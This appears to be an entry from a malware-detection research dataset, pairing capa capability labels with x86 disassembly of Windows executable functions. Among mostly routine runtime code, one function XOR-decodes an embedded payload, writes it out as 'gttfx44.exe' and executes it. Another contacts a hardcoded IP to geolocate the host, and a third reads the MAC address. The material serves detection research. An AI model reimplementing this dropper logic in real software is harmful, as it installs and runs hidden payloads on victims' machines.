joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Get mac address on windows

Disassembly:
sub esp, 8
mov eax, dword [0x4506e0]
xor eax, esp
mov dword [esp + 4], eax
lea eax, [esp]
push eax
push 0
mov dword [esp + 8], 0
call sub.iphlpapi.dll_GetAdaptersInfo
test eax, eax
je 0x40103b
cmp eax, 0x6f
je 0x40103b
xor eax, eax
mov ecx, dword [esp + 4]
xor ecx, esp
call fcn.00426536
add esp, 8
ret
mov ecx, dword [esp]
push esi
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x401064
lea edx, [esp + 4]
push edx
push esi
call sub.iphlpapi.dll_GetAdaptersInfo
test eax, eax
je 0x401076
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
xor eax, eax
pop esi
mov ecx, dword [esp + 4]
xor ecx, esp
call fcn.00426536
add esp, 8
ret
movzx eax, byte [esi + 0x199]
movzx ecx, byte [esi + 0x198]
movzx edx, byte [esi + 0x197]
push eax
movzx eax, byte [esi + 0x196]
push ecx
movzx ecx, byte [esi + 0x195]
push edx
movzx edx, byte [esi + 0x194]
push eax
push ecx
push edx
push str._02X_02X_02X_02X_02X_02X
push edi
call fcn.00426545
add esp, 0x20
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov ecx, dword [esp + 8]
pop esi
xor ecx, esp
mov eax, 1
call fcn.00426536
add esp, 8
ret

Function at 0x403cf0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x403d09
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x403d44
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x403d40
lea ebx, [ebx]
cmp esi, eax
jae 0x403d44
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x403d30
cmp esi, eax
jb 0x403d4a
pop esi
pop edi
xor eax, eax
pop ebx
ret
mov ax, word [esi]
neg ax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret

Function at 0x4060d0
Capabilities:
Create process on windows
Query environment variable

Disassembly:
sub esp, 0x214
mov eax, dword [0x4506e0]
xor eax, esp
mov dword [esp + 0x20c], eax
push esi
push edi
push 0x206
lea eax, [esp + 0xe]
push 0
push eax
mov word [esp + 0x14], 0
call fcn.00428d20
add esp, 0xc
call fcn.00405fe0
test al, al
jne 0x406165
push 0x208
lea ecx, [esp + 0xc]
push ecx
push 0x445ff8
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea edi, [esp + 8]
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x406126
mov ecx, 6
mov esi, str.gttfx44.exe
rep movsd dword es:[edi], dword [esi]
lea edx, [esp + 8]
push edx
movsw word es:[edi], word [esi]
call fcn.004063f0
add esp, 4
push 0
push 0
push 0
lea eax, [esp + 0x14]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, dword [esp + 0x214]
pop edi
pop esi
xor ecx, esp
call fcn.00426536
add esp, 0x214
ret
Function at 0x4063f0
Capabilities:
Encode data using xor
Write file on windows

Disassembly:
push ecx
xor eax, eax
mov cl, 0x1c
jmp 0x406400
xor byte [eax + 0x451bd0], cl
add eax, 1
cmp eax, 0x14b610
jl 0x406400
mov eax, dword [esp + 8]
push esi
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push eax
mov dword [esp + 0x20], 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x40645c
push 0
lea ecx, [esp + 8]
push ecx
push 0x14b610
push 0x451bd0
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ecx
ret
Function at 0x408b90
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Receive data
Receive data on socket
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
sub esp, 0x18
mov eax, dword [0x4506e0]
xor eax, esp
mov dword [esp + 0x10], eax
push ebp
push esi
xor eax, eax
push edi
xor ebp, ebp
push 0x400
mov word [esp + 0x10], bp
mov dword [esp + 0x12], eax
mov dword [esp + 0x16], eax
mov dword [esp + 0x1a], eax
mov word [esp + 0x1e], ax
call fcn.0040a2ff
add esp, 4
push 6
push 1
push 2
mov edi, eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x408c8c
push str.180.149.136.219
mov word [esp + 0x10], 2
call dword [sym.imp.WS2_32.dll_inet_addr]
push 0x50
mov dword [esp + 0x14], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0xe], ax
push 0x10
lea eax, [esp + 0x10]
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x408c8c
push ebx
push str.GET__iplookup_iplookup.php_ip_s_HTTP_1.1_r_nHost:_int.dpool.sina.com.cn_r_n_r_n
push edi
call fcn.00426545
mov eax, edi
add esp, 0xc
lea edx, [eax + 1]
jmp 0x408c30
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x408c30
push 0
sub eax, edx
push eax
push edi
push esi
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x408c4e
xor ebp, ebp
jmp 0x408c8c
push 0x400
push 0
push edi
call fcn.00428d20
add esp, 0xc
push 0
push 0x400
push edi
push esi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jg 0x408c75
xor ebp, ebp
jmp 0x408c8c
push 0x4461fc
push edi
call fcn.00426c80
add esp, 8
test eax, eax
je 0x408c8c
mov ebp, 1
push edi
call fcn.0040a304
add esp, 4
cmp esi, 0xffffffff
je 0x408ca1
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [esp + 0x1c]
pop edi
pop esi
mov eax, ebp
pop ebp
xor ecx, esp
call fcn.00426536
add esp, 0x18
ret

Function at 0x40b22c
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push esi
mov esi, ecx
and dword [esi + 0x10], 0
and dword [esi + 0xc], 0
mov dword [esi + 4], eax
mov eax, dword [ebp + 8]
test eax, eax
mov dword [esi], vtable.CInternetSession.0
jne 0x40b255
call fcn.0040c5c3
mov eax, dword [eax + 0x10]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
call dword [sym.imp.WININET.dll_InternetOpenW]
test eax, eax
mov dword [esi + 8], eax
jne 0x40b278
push eax
push dword [esi + 4]
call fcn.0040b1b7
push esi
push eax
mov ecx, 0x59d55c
call fcn.0040ae8a
mov eax, esi
pop esi
pop ebp
ret 0x18
Function at 0x40d76a
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
cmp dword [ebp + 0xc], ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
je 0x40d7b0
call fcn.0040c5c3
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x40d7b0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [ebp - 4], eax
je 0x40d7f3
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
je 0x40d7dc
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x40d7dc
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x40d7f0
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x416935
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push ebp
push esi
push edi
xor edi, edi
xor ebx, ebx
cmp dword [esp + 0x14], edi
mov ebp, ecx
je 0x416978
call fcn.0040c5c3
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x416978
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x416993
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
push ebx
mov ecx, ebp
call fcn.004164ef
test ebx, ebx
mov esi, eax
je 0x416991
test edi, edi
je 0x416991
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x41729e
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4172cc
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4172ea
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00417208
jmp 0x4172ea
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4172ea
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
push eax
mov ecx, esi
call fcn.00417208
test edi, edi
mov eax, edi
jne 0x4172d4
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
mov ecx, dword [0x59f200]
test ecx, ecx
je 0x4173ad
jmp 0x41729d
ret 8
Function at 0x418324
Capabilities:
Read file on windows

Disassembly:
cmp dword [esp + 8], 0
push esi
mov esi, ecx
jne 0x41832d
xor eax, eax
jmp 0x418396
cmp dword [esp + 8], 0
jne 0x418339
call fcn.0040a650
push edi
push dword [esi + 0x10]
push dword [esp + 0x14]
push 1
push dword [esp + 0x18]
call fcn.0042b2b9
mov edi, eax
add esp, 0x10
test edi, edi
jne 0x418374
push dword [esi + 0x10]
call fcn.0042affe
test eax, eax
pop ecx
jne 0x418374
mov esi, dword [esi + 0xc]
call fcn.004287f5
push esi
push dword [eax]
push 1
call fcn.00423766
push dword [esi + 0x10]
call fcn.0042b02d
test eax, eax
pop ecx
je 0x418393
push dword [esi + 0x10]
call fcn.0042af52
push eax
call fcn.00403d60
pop ecx
pop ecx
jmp 0x418362
mov eax, edi
pop edi
pop esi
ret 8

Function at 0x41839f
Capabilities:
Write file on windows

Disassembly:
cmp dword [esp + 4], 0
push esi
mov esi, ecx
jne 0x4183a9
call fcn.0040a650
push dword [esi + 0x10]
push dword [esp + 0x10]
push 1
push dword [esp + 0x14]
call fcn.00427e24
add esp, 0x10
cmp eax, dword [esp + 0xc]
je 0x4183d6
mov esi, dword [esi + 0xc]
call fcn.004287f5
push esi
push dword [eax]
push 1
call fcn.00423766
pop esi
ret 8

Function at 0x426536
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4506e0]
jne 0x426540
repz ret
jmp fcn.0042d55f
Function at 0x437867
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.0042cf46
xor ebx, ebx
cmp dword [0x5a0014], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x43793c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x4378a7
xor eax, eax
jmp 0x437a00
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x4378a0
push eax
call fcn.0042cee3
mov dword [esp], 0x444510
push edi
mov dword [0x5a0014], eax
call esi
push eax
call fcn.0042cee3
mov dword [esp], 0x4444fc
push edi
mov dword [0x5a0018], eax
call esi
push eax
call fcn.0042cee3
mov dword [0x5a001c], eax
lea eax, [ebp - 8]
push eax
call fcn.004269f6
test eax, eax
pop ecx
pop ecx
je 0x43790a
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00426d9e
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x43793c
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.0042cee3
cmp eax, ebx
pop ecx
mov dword [0x5a0024], eax
je 0x43793c
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0042cee3
pop ecx
mov dword [0x5a0020], eax
mov eax, dword [0x5a0020]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x4379b5
cmp dword [0x5a0024], esi
je 0x4379b5
push eax
call fcn.0042cf4f
pop ecx
call eax
cmp eax, ebx
je 0x437982
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x5a0024]
call fcn.0042cf4f
pop ecx
call eax
test eax, eax
je 0x437982
test byte [ebp - 0x18], 1
jne 0x4379b5
lea eax, [ebp - 0xc]
push eax
call fcn.00426a2d
test eax, eax
pop ecx
je 0x43799d
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00426d9e
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x4379ac
or dword [ebp + 0x10], 0x200000
jmp 0x4379e6
or dword [ebp + 0x10], 0x40000
jmp 0x4379e6
mov eax, dword [0x5a0018]
cmp eax, esi
je 0x4379e6
push eax
call fcn.0042cf4f
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x4379e6
mov eax, dword [0x5a001c]
cmp eax, esi
je 0x4379e6
push dword [ebp - 4]
push eax
call fcn.0042cf4f
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x5a0014]
call fcn.0042cf4f
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x43d178
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x4506e0]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.0043d10d
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.00428d20
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x43d1c7
cmp dword [ebp - 0x1c], 5
jb 0x43d1df
jmp 0x43d1db
cmp dword [ebp - 0x10], 1
jne 0x43d1df
cmp dword [ebp - 0x1c], 4
ja 0x43d1db
jne 0x43d1df
cmp dword [ebp - 0x18], 0
jbe 0x43d1df
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x445e48
call fcn.0043cffe
test eax, eax
jge 0x43d200
mov byte [0x5a01b8], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00426536
add ebp, 0x78
leave
ret
Function at 0x402edc
Capabilities:
Get common file path
Set current directory

Disassembly:
push ebx
push esi
add esp, 0xfffffdf0
mov esi, edx
mov ebx, eax
test bl, bl
je 0x402f18
movzx eax, bl
add eax, 0x41
dec eax
mov byte [esp], al
mov byte [esp + 1], 0x3a
mov byte [esp + 2], 0
lea eax, [esp + 0x109]
push eax
push 0x105
call sub.kernel32.dll_GetCurrentDirectoryA
push esp
call sub.kernel32.dll_SetCurrentDirectoryA
lea eax, [esp + 4]
push eax
push 0x105
call sub.kernel32.dll_GetCurrentDirectoryA
test bl, bl
je 0x402f38
lea eax, [esp + 0x109]
push eax
call sub.kernel32.dll_SetCurrentDirectoryA
mov eax, esi
lea edx, [esp + 4]
mov ecx, 0x105
call fcn.00405d1c
add esp, 0x210
pop esi
pop ebx
ret

Function at 0x4031fc
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00405aac
test esi, esi
jne 0x403232
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00405b9c
jmp 0x403250
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.004030a0
mov edi, eax
test esi, esi
je 0x403250
cmp dword [ebx], 0
je 0x403250
dec esi
jmp 0x403239
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x403288
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x4d2008], 0x8088405
inc edx
mov dword [ebx + 0x4d2008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x4032a4
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x4d2008], 0x8088405
inc edx
mov dword [ebx + 0x4d2008], edx
fld qword [ebx + 0x4d2758]
push 0
push edx
fild qword [esp]
add esp, 8
fmulp st(1)
pop ebx
ret

Function at 0x403ff8
Capabilities:
Clear file content

Disassembly:
movzx edx, word [eax + 4]
sub edx, 0xd7b1
cmp edx, 2
ja 0x404016
push dword [eax]
call sub.kernel32.dll_SetEndOfFile
dec eax
je 0x404020
jmp fcn.00402e30
mov eax, 0x67
jmp fcn.00402e20
ret

Function at 0x404a88
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x4d2024]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x404b20
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x404b00
xor eax, eax
push ebp
push 0x404af9
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x404b3c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404b00
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
movzx eax, word [0x4d2024]
and ax, 0xffc0
movzx edx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x4d2024], ax
mov esp, ebp
pop ebp
ret
Function at 0x40592c
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x4da048], 0
je 0x40598d
cmp word [0x4da21c], 0xd7b2
jne 0x405955
cmp dword [0x4da224], 0
jbe 0x405955
mov eax, 0x4da218
call dword [0x4da234]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4059b4
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x4d2030], 0
jne 0x4059a9
push 0
push str.Error
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x407190
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x4073c0
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x407213
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x4073c0
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x407213
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x4073dc
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x40729c
xor eax, eax
push ebp
push 0x407295
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.00406fcc
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x40727a
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x4073fc
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x40727a
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40729c
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x4073b6
cmp byte [ebp - 0xd], 0
jne 0x4072e3
cmp byte [ebp - 0x12], 0
je 0x4073b6
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x4072fc
dec ebx
cmp byte [ebx], 0x2e
je 0x40730b
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x4072fb
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x4073b6
inc ebx
cmp byte [ebp - 0x12], 0
je 0x407348
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x4073b6
cmp byte [ebp - 0xd], 0
je 0x4073b6
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x4073b6
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4097a8
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, eax
mov eax, edx
test esi, esi
je 0x409838
mov edx, dword [esi - 4]
mov edi, eax
test edx, edx
jle 0x409838
mov ecx, dword [eax]
mov ebx, edx
test ecx, ecx
je 0x4097eb
test edx, 3
jne 0x4097da
xor edx, dword [ecx - 4]
cmp edx, 3
jbe 0x4097e5
jmp 0x4097eb
or edx, 2
xor edx, dword [ecx - 4]
cmp edx, 1
ja 0x4097eb
cmp dword [ecx - 8], 1
je 0x4097f5
mov edx, ebx
or edx, 3
call fcn.004061f8
mov edi, dword [edi]
mov dword [edi - 4], ebx
mov byte [edi + ebx], 0
add ebx, 0xffffffff
and ebx, 0xfffffffc
mov eax, dword [esi + ebx]
mov ecx, eax
or eax, 0x80808080
mov edx, eax
sub eax, 0x7b7b7b7b
xor edx, ecx
or eax, 0x80808080
sub eax, 0x66666666
and eax, edx
shr eax, 2
xor eax, ecx
mov dword [edi + ebx], eax
mov eax, dword [esi + ebx - 4]
sub ebx, 4
jge 0x409807
pop edi
pop esi
pop ebx
ret
pop edi
pop esi
pop ebx
jmp fcn.00405aac

Function at 0x409844
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, eax
mov eax, edx
test esi, esi
je 0x4098d4
mov edx, dword [esi - 4]
mov edi, eax
test edx, edx
jle 0x4098d4
mov ecx, dword [eax]
mov ebx, edx
test ecx, ecx
je 0x409887
test edx, 3
jne 0x409876
xor edx, dword [ecx - 4]
cmp edx, 3
jbe 0x409881
jmp 0x409887
or edx, 2
xor edx, dword [ecx - 4]
cmp edx, 1
ja 0x409887
cmp dword [ecx - 8], 1
je 0x409891
mov edx, ebx
or edx, 3
call fcn.004061f8
mov edi, dword [edi]
mov dword [edi - 4], ebx
mov byte [edi + ebx], 0
add ebx, 0xffffffff
and ebx, 0xfffffffc
mov eax, dword [esi + ebx]
mov ecx, eax
or eax, 0x80808080
mov edx, eax
sub eax, 0x5b5b5b5b
xor edx, ecx
or eax, 0x80808080
sub eax, 0x66666666
and eax, edx
shr eax, 2
xor eax, ecx
mov dword [edi + ebx], eax
mov eax, dword [esi + ebx - 4]
sub ebx, 4
jge 0x4098a3
pop edi
pop esi
pop ebx
ret
pop edi
pop esi
pop ebx
jmp fcn.00405aac

Function at 0x40a130
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.00405f70
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x40a149
test al, 0x10
je 0x40a14d
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret

Function at 0x40a154
Capabilities:
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.00405f70
push eax
call sub.kernel32.dll_GetFileAttributesA
pop ebx
ret

Function at 0x40a168
Capabilities:
Set file attributes

Disassembly:
push ebx
push esi
push edi
mov edi, edx
mov esi, eax
xor ebx, ebx
push edi
mov eax, esi
call fcn.00405f70
push eax
call sub.kernel32.dll_SetFileAttributesA
test eax, eax
jne 0x40a18a
call sub.kernel32.dll_GetLastError_1
mov ebx, eax
mov eax, ebx
pop edi
pop esi
pop ebx
ret

Function at 0x40d3b4
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40d3ed
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00405b9c
jmp 0x40d3f6
mov eax, ebx
mov edx, esi
call fcn.00405b00
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4